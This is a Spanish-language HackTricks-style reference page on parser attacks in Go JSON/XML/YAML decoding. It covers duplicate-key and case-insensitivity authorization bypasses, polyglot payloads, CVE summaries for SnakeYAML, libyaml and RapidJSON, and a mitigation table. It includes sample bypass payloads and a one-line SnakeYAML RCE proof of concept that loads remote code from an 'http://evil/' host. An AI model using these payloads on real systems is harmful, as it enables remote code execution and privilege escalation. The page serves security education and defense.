JSON, XML & Yaml Hacking & Problemas

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Go JSON Decoder

Se detectaron los siguientes problemas en el JSON de Go aunque también podrían estar presentes en otros lenguajes. Estos problemas fueron publicados en this blog post.

Los parsers JSON, XML y YAML de Go tienen una larga serie de inconsistencias y valores predeterminados inseguros que pueden ser abusados para omitir la autenticación, escalar privilegios o exfiltrar datos sensibles.

(Un)Marshaling de datos inesperados

El objetivo es explotar structs que permiten a un atacante leer/escribir campos sensibles (p.ej., IsAdmin, Password).

  • Example Struct:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Vulnerabilidades comunes
  1. Missing tag (sin etiqueta = el campo sigue siendo analizado por defecto):
type User struct {
Username string
}

Payload:

{"Username": "admin"}
  1. Uso incorrecto de -:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

{"-": true}

✔️ Forma correcta de evitar que un campo sea (des)serializado:

type User struct {
IsAdmin bool `json:"-"`
}

Diferencias entre parsers

El objetivo es eludir la autorización explotando cómo diferentes parsers interpretan el mismo payload de forma distinta, como en:

  • CVE-2017-12635: Apache CouchDB elusión mediante claves duplicadas
  • 2022: Zoom 0-click RCE mediante inconsistencia del parser XML
  • GitLab 2025: elusión de SAML mediante peculiaridades de XML

1. Campos duplicados: El encoding/json de Go toma el último campo.

json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Otros parsers (p. ej., Java’s Jackson) pueden tomar el primero.

2. Insensibilidad a mayúsculas/minúsculas: Go es insensible a mayúsculas/minúsculas:

json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Incluso los trucos de Unicode funcionan:

json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Cross-service mismatch: Imagina:

  • Proxy escrito en Go
  • servicio AuthZ escrito en Python

Attacker envía:

{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python ve UserAction, lo permite
  • Go ve AdminAction, lo ejecuta

Confusión de formatos de datos (Polyglots)

El objetivo es explotar sistemas que mezclan formatos (JSON/XML/YAML) o que fallan abiertos ante errores del parser como:

  • CVE-2020-16250: HashiCorp Vault analizó JSON con un parser XML después de que STS devolviera JSON en lugar de XML.

El atacante controla:

  • La cabecera Accept: application/json
  • Control parcial del cuerpo JSON

El parser XML de Go lo analizó de todos modos y confió en la identidad inyectada.

  • Payload creado:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Resultado:

  • Go JSON parser: Action_2 (insensible a mayúsculas + el último prevalece)
  • YAML parser: Action_1 (distingue entre mayúsculas y minúsculas)
  • XML parser: analiza "Action_3" dentro de la cadena

Vulnerabilidades notables de parsers (2023-2025)

Los siguientes problemas explotables públicamente muestran que el parsing inseguro es un problema multilenguaje — no solo un problema de Go.

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • Afecta a: org.yaml:snakeyaml < 2.0 (usado por Spring-Boot, Jenkins, etc.).
  • Causa raíz: new Constructor() deserializa clases Java arbitrarias, lo que permite cadenas de gadgets que culminan en ejecución remota de código.
  • PoC de una línea (abrirá la calculadora en el host vulnerable):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Solución / Mitigación:
  1. Actualizar a ≥2.0 (usa SafeLoader por defecto).
  2. En versiones antiguas, use explícitamente new Yaml(new SafeConstructor()).

libyaml Double-Free (CVE-2024-35325)

  • Afecta a: libyaml ≤0.2.5 (biblioteca C utilizada por muchos bindings de lenguaje).
  • Problema: Llamar a yaml_event_delete() dos veces provoca un double-free que los atacantes pueden convertir en DoS o, en algunos escenarios, en explotación del heap.
  • Estado: El upstream lo rechazó como “API misuse”, pero las distribuciones Linux enviaron 0.2.6 parcheada que libera el puntero a null de forma defensiva.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • Afecta a: Tencent RapidJSON antes del commit 8269bc2 (<1.1.0-patch-22).
  • Bug: En GenericReader::ParseNumber() aritmética sin comprobación permite a los atacantes crear literales numéricos enormes que se desbordan y corrompen el heap — en última instancia permitiendo escalada de privilegios cuando el grafo de objetos resultante se usa para decisiones de autorización.

🔐 Mitigaciones (Actualizado)

RiesgoSolución / Recomendación
Campos desconocidos (JSON)decoder.DisallowUnknownFields()
Campos duplicados (JSON)❌ Sin solución en la stdlib — validar con jsoncheck
Coincidencia insensible a mayúsculas (Go)❌ Sin solución — validar struct tags + pre-canonicalizar la entrada
Datos basura XML / XXEUsar un parser reforzado (encoding/xml + DisallowDTD)
Claves desconocidas en YAMLyaml.KnownFields(true)
Deserialización insegura de YAMLUsar SafeConstructor / actualizar a SnakeYAML ≥2.0
libyaml ≤0.2.5 double-freeActualizar a 0.2.6 o a una release parcheada por la distro
RapidJSON <patched commitCompilar contra la última versión de RapidJSON (≥ julio de 2024)

See also

Mass Assignment Cwe 915

References

  • Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks